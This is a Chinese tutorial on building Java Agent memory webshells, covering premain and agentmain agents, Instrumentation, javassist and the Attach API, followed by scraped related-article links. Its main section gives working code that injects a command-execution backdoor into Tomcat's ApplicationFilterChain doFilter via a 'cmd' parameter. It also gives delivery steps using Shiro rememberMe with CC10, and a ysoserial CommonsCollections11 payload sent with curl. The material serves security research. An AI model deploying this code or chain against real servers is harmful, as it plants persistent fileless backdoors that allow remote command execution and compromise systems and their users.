前言

前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析

大的思路

第一种是通过permain()函数实现。定义一个 MANIFEST.MF 文件,指定Premain-Class类,并且类中包含premain() 方法,把premain()MANIFEST.MF文件打包成一个jar包,使用 -javaagent: jar启动要代理的方法,这种javaagent会在宿主程序的main函数的启动前启动自己premain()方法,这个premain()我们使用Instrumentation#addTransformer方法添加一个自定义的ClassFileTransformer实现类的transform,实现Instrumentation接口,这里可以把它理解成一个可以对还未加载的class进行拦截与修改的东西,并且transform方法中我们可以定义一些逻辑,这里逻辑就是再利用javassist技术修改字节码,这里是对doFilter类进行了修改,最终作为transform方法的返回值返回,然后main函数正常执行后我们修改的doFilter执行。

还有一种实现方式是利用agentmain()方法。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。对应进程接着会调用agentmain函数,进而操作Instrumentation对象,Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并且修改其中的内容,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写。

前置知识

Java Agent

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent,Java Agent 支持两种方式进行加载:

实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

Instrumentation 实例

java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单来说就是Java Instrumentation可以在JVM启动后,类动态修改已加载或者未加载的类,包括类的属性、方法。Instrumentation提供的用来监测运行在JVM中的Java API。

addTransformer/removeTransformer 注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器
getAllLoadedClasses 列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
isModifiableClasses 判断某个类是否能被修改。
redefineClasses重新定义已经加载类的字节码
setNativeMethodPrefix动态设置JNI前缀,可以实现Hook native方法。
retransformClasses重新加载已经被JVM加载过的类的字节码,达到对已加载的类进行字节码修改的效果

InstrumentationJVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果,在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

ClassFileTransformer接口

​ClassFileTransformer是一个转换类文件的代理接口,我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器,转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

javassit

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
Java安全之Javassist动态编程
10-java安全基础——javassist字节码编程
编程常用的类:

ClassPool:ClassPool 类可以控制的类的字节码,例如创建一个类或加载一个类,与 JVM 类装载器类似
CtClass: CtClass提供了类的操作,如在类中动态添加新字段、方法和构造函数、以及改变类、父类和接口的方法
CtField:类的属性,通过它可以给类创建新的属性,还可以修改已有的属性的类型,访问修饰符等
CtMethod:表示类中的方法,通过它可以给类创建新的方法,还可以修改返回类型,访问修饰符等, 甚至还可以修改方法体内容代码
CtConstructor:用于访问类的构造,与CtMethod类的作用类似

VirtualMachine

​VirtualMachine可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。

Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:解除Attach

VirtualMachineDescriptor

​VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。

两种运行方式

premain

premain方法会在执行main方法前调用,在运行main方法前会去加载-javaagent指定的jar包里面的Premain-Class类中的premain方法。

所以要实现的三个条件

Premain-Class 指定的那个类必须实现 premain() 方法
jar包中的MANIFEST.MF 文件必须指定 Premain-Class 项
启动Java程序的时候添加-javaagent(Instrumentation API实现方式)或-agentpath/-agentlib(JVMTI的实现方式)参数。

实现一下上面的条件,首先是创建一个类,来实现 premain 的这个方法

import java.lang.instrument.Instrumentation;public class DemoTest {public static void premain(String agentArgs, Instrumentation inst) throws Exception{System.out.println(agentArgs);for(int i=0;i<5;i++){System.out.println("premain method is invoked!");}}
}

接下来是要在mainfest.mf文件中添加内容:

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: DemoTest
//这里要有一个换行符

利用 javac 将 java 文件编译成 class 之后,利用 jar 命令打包,生成我们的 agent.jar

javac DemoTest.java
jar cvfm agent.jar mainfest.mf DemoTest.class

按照以上步骤我们便可成功生成 agent.jar,再来建一个demo测试类,接下来有两种方法,一种是再生成一个demo.jar文件然后使用java -javaagent去执行,另一种是在idea中配置写入-javaagent参数,-javaagent:out\hello.jar

idea中配置

创建一个普通类作为测试 demo

public class Hello {public static void main(String[] args) {System.out.println("Hello,Java");}
}

配置加入-javaagent参数,-javaagent:agent.jar后面不能有多余的空格。

再生成一个jar包

创建一个普通类作为测试 demo

public class hello {public static void main(String[] args) {System.out.println("Hello,Java");}
}

生成对应hello.mf

Manifest-Version: 1.0
Main-Class: Hello

同样的利用 javac 编译之后打包成 hello.jar

javac hello.java
jar cvfm hello.jar hello.mf Hello.class

得到了 agent.jar 和 hello.jar。接下来在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

java -javaagent:agent.jar[=options] -jar hello.jar
eg: java -javaagent:agent.jar=hello -jar hello.jar

可以看到我们 agent 中 premain 的代码被优先执行了,同时还获取 到了 agentArgs 参数 ,这里传的hello也被打印出来,在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例

agentmain

要实现的条件

必须要实现 agentmain 方法
Jar 文件清单中必须要含有 Premain-Class 属性

在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api。存在于 com.sun.tools.attach 里面有两个重要的类一个是VirtualMachine,一个是VirtualMachineDescriptor

编写 agentmain.java

import java.lang.instrument.Instrumentation;public class agentmain {public static void agentmain(String agentArgs, Instrumentation ins) {ins.addTransformer(new DefineTransformer(),true);}
}

编写 DefineTransformer.java

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer {public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {System.out.println(className);return classfileBuffer;}
}

创建 jar 文件清单 agentmain.mf,这里我们需要修改已经被JVM加载过的类的字节码,所以需要设置在agentmain.mf中添加Can-Retransform-Classes: trueCan-Redefine-Classes: true

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: agentmain

分别对上面的 java 文件进行编译,然后利用命令行进行打包

jar cvfm agentmain.jar agentmain.mf agentmain.class DefineTransformer.class

生成agentmain.jar后,编写一个测试类,这里需要把jdk lib目录中的tools.jar添加进当前工程的Libraries中

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;import java.util.List;public class agentmainDemo {public static void main(String[] args) throws Exception{String path = "agentmain.jar的路径";List<VirtualMachineDescriptor> list = VirtualMachine.list();for (VirtualMachineDescriptor v:list){System.out.println(v.displayName());if (v.displayName().contains("AgentMainDemo")){// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接VirtualMachine vm = VirtualMachine.attach(v.id());// 将我们的 agent.jar 发送给虚拟机 vm.loadAgent(path);vm.detach();}}}
}

执行后agentmain.jar中的东西就会被成功调用,因为是通过tools.jar提供 VirtualMachine的attach api,而jdk 默认有 tools.jar,jre 默认没有,如果是mac的话可以从jdk中直接找到 VirtualMachine 类,windows需要手工去Java jdk的lib目录下将该包add as library添加进去。

Java Agent实现内存马

这里先找到我们要注入的类,前面思路也有提到,这里要注入到org.apache.catalina.core.ApplicationFilterChain#doFilter,这个类其实在filter中也有提到,它有ServletRequestServletResponse两个参数,里面封装了请求的request和response,所以在这里拦截的话,它一定会执行,能控制所有的请求和响应,并且不影响正常业务。大体实现的思路就是,生成MyAgent.jar,然后编写java利用代码来使其加载进去(网上挺多通过改cc链)

编写AgentMain.java

import java.lang.instrument.Instrumentation;public class AgentMain {public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public static void agentmain(String agentArgs, Instrumentation ins) {ins.addTransformer(new DefineTransformer(),true);// 获取所有已加载的类Class[] classes = ins.getAllLoadedClasses();for (Class clas:classes){if (clas.getName().equals(ClassName)){try{// 对类进行重新定义ins.retransformClasses(new Class[]{clas});} catch (Exception e){e.printStackTrace();}}}}
}

编写DefineTransformer.java

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer {public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {className = className.replace("/",".");if (className.equals(ClassName)){System.out.println("Find the Inject Class: " + ClassName);ClassPool pool = ClassPool.getDefault();try {CtClass c = pool.getCtClass(className);CtMethod m = c.getDeclaredMethod("doFilter");m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +"javax.servlet.http.HttpServletResponse res = response;\n" +"java.lang.String cmd = request.getParameter(\"cmd\");\n" +"if (cmd != null){\n" +"    try {\n" +"        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +"        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +"        String line;\n" +"        StringBuilder sb = new StringBuilder(\"\");\n" +"        while ((line=reader.readLine()) != null){\n" +"            sb.append(line).append(\"\\n\");\n" +"        }\n" +"        response.getOutputStream().print(sb.toString());\n" +"        response.getOutputStream().flush();\n" +"        response.getOutputStream().close();\n" +"    } catch (Exception e){\n" +"        e.printStackTrace();\n" +"    }\n" +"}");byte[] bytes = c.toBytecode();// 将 c 从 classpool 中删除以释放内存c.detach();return bytes;} catch (Exception e){e.printStackTrace();}}return new byte[0];}
}

打包生成agent.jar包,然后利用cc链。
像Y4大佬写的shiro+cc10思路

1.通过命令执行下载或者 base64 写入 MyAgent.jar
2.修改 org/chabug/demo/CC10.java:137 为 MyAgent.jar 绝对路径生成payload
3.发送 rememberMe Cookie

还有大佬生成ser+curl

1.写入MyAgent.jar
2.生成一个ser文件,java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser
3.利用 curl 直接打过去 curl -v "http://localhost:8080/cc11" --data-binary "@./cc11demo.ser"

初探Java安全之JavaAgent
利用“进程注入”实现无文件复活 WebShell
Java 安全之Java Agent
浅谈 Java Agent 内存马
JavaAgent内存马研究

基于Java Agent内存马相关推荐

  1. java agent内存马学习

    文章目录 1. 什么是java agent 补充:一些重要的类 ClassFileTransformer VirtualMachine CtMethod 2. 利用premain函数实现java ag ...

  2. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  3. 基于Java Agent实现APM

    一.APM概述 APM系统(Application Performance Management,即应用性能管理),用于对应用系统做实时监控,目的是实现对应用性能管理和故障定位. 1.1.为什么需要A ...

  4. java Servlet内存马

    Servlet web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns=& ...

  5. 基于Java的亚马逊“手机”评论爬虫的情感分类分析

    本项目主要内容说明 首先从亚马逊中文网站爬取了关于"手机"的评论,然后对其进行情感分类.使用用户标记的星级作为情感类别,将这些评论分为了3类(与星级对应关系为1-{1,2},2-{ ...

  6. 基于Java Swing 的马踏棋盘小游戏(附源码!免费下载!)

    马踏棋盘游戏小项目 设计主要功能 运用的数据结构 运行流程讲解及录像 项目分类截图及源码链接! 设计主要功能 (1)设计内容:设计一个马踏棋盘游戏,马作为棋子,以马走日字的走法,将整个棋盘一次性走完, ...

  7. 初识Java内存马检测

    近些年,无文件攻击技术越来越流行.本文旨在介绍无文件攻击中最为流行的一种技术--Java内存马,让企业.用户了解和重视其危害性,提高防范意识,降低安全风险. - 全文约1500字,预计阅读时间为4分钟 ...

  8. java内存马学习与理解

    文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...

  9. java内存马分析集合

    基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...

最新文章

  1. 一篇综述带你全面了解迁移学习的领域泛化(Domain Generalization)
  2. Response.Redirect、 Server.Transfer、Server.Execute三者区别
  3. adapt和adopt的区别_脸盲了,adopt和adapt要如何区分?
  4. COM编程之四 引用计数
  5. SAP Leonardo平台机器学习API的一些错误处理机制
  6. MAVEN安装和配置
  7. 网站前端组织冒泡事件
  8. python_格式化输出(%用法和format用法)
  9. 系统集成项目管理视频课程
  10. 计算机网络环境中学科教学,浅谈基于计算机网络环境下的农村小学的科学学科教育...
  11. springboot 基于Vue旅游景区商城网站java项目源码
  12. ​​领域驱动设计(DDD)介绍以及落地实践
  13. Web应用程序开发课程总结
  14. 手机充当电脑摄像头:无他相机和DroidCam
  15. Debian 挂载ISO镜像软件源
  16. 如何才能找到影音文件的真实下载地址
  17. 拷机测试需要多久_自学找到一份初级软件测试的工作需要会什么和要多久?
  18. EPUB阅读器聚合-Android
  19. asc量子计算机,2020ASC世界大学生超级计算机竞赛聚焦量子计算和语言智能
  20. 传统零售业的现状分析

热门文章

  1. uos打包——appimage包转uos的deb包
  2. 小学计算机教师试讲ppt,教师试讲面试10分钟ppt.ppt
  3. 高中计算机flash的知识点,高中信息技术flash教学.ppt
  4. 2022我的校招求职历程
  5. matlab英,MATLAB 2016a 工具包中-英对照
  6. 力扣-374题 猜数字大小(C++)- 二分
  7. (hibernate查询自循环报错)Direct self-reference leading to cycle (through reference chain:
  8. Cscope使用方法小结
  9. java中的DOM4J解析XML
  10. 子网掩码是什么,IP段的24是什么写法